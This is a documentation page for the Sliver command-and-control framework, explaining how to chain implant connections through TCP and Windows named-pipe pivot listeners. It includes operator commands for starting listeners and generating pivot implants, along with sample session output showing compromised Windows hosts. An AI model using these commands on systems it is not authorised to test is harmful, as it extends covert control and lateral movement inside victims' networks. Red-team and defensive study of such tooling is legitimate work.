Pivots

⚠️ IMPORTANT: Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding portfwd, which is used for tunneling generic tcp connections into a target environment.

⚠️ IMPORTANT: Pivots can only be used in "session mode" (we may add beacon support later)

Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Sliver v1.5 and later pivots can be arbitrarily nested, for example a pivot A can connect thru pivot B to a third egress implant.

In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.

Pivots perform an authenticated peer-to-peer cryptographic key exchange regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server. This behavior cannot be disabled.

TCP Pivots

TCP pivots are implemented in pure Go and are supported on all platforms.

[server] sliver (PRIOR_MANTEL) > pivots tcp

[*] Started tcp pivot listener :9898 with id 1

[server] sliver (PRIOR_MANTEL) > pivots

 ID   Protocol   Bind Address   Number Of Pivots
==== ========== ============== ==================
  1   TCP        :9898                         0

We can now use generate --tcp-pivot 192.168.1.1:9898 to generate an implant that will connect to the pivot listener.

Named Pipe Pivots (SMB)

Named pipe pivots are only supported on Windows. Select a session to start a named pipe listener, and then use the --bind flag to specify a pipe name. Pipes are automatically started on the local machine so you only need to specify a named, remote clients are always allowed:

[*] Session a2615359 WARM_DRIVEWAY - 192.168.1.178:59290 (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:09:20 CST

[server] sliver > use a2615359-b0a4-4463-820b-f4dbe6fb2c30

[*] Active session WARM_DRIVEWAY (a2615359-b0a4-4463-820b-f4dbe6fb2c30)

[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar

[*] Started named pipe pivot listener \\.\pipe\foobar with id 1

Next we generate a named pipe implant using generate --named-pipe 127.0.0.1/pipe/foobar note here way may need to specify the IP address of the listener, the syntax is <host>/pipe/<pipe name>, which is the standard syntax for Windows named pipes.

[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST

[server] sliver (WARM_DRIVEWAY) > sessions

 ID         Name            Transport   Remote Address                         Hostname          Username                        Operating System   Last Check-In                   Health
========== =============== =========== ====================================== ================= =============================== ================== =============================== =========
 13f9ee6b   ROUND_ATELIER   pivot       192.168.1.178:59290->WARM_DRIVEWAY->   WIN-1TT1Q345B37   WIN-1TT1Q345B37\Administrator   windows/amd64      Mon, 07 Feb 2022 10:15:11 CST   [ALIVE]
 a2615359   WARM_DRIVEWAY   mtls        192.168.1.178:59290                    WIN-1TT1Q345B37   WIN-1TT1Q345B37\Administrator   windows/amd64      Mon, 07 Feb 2022 10:15:11 CST   [ALIVE]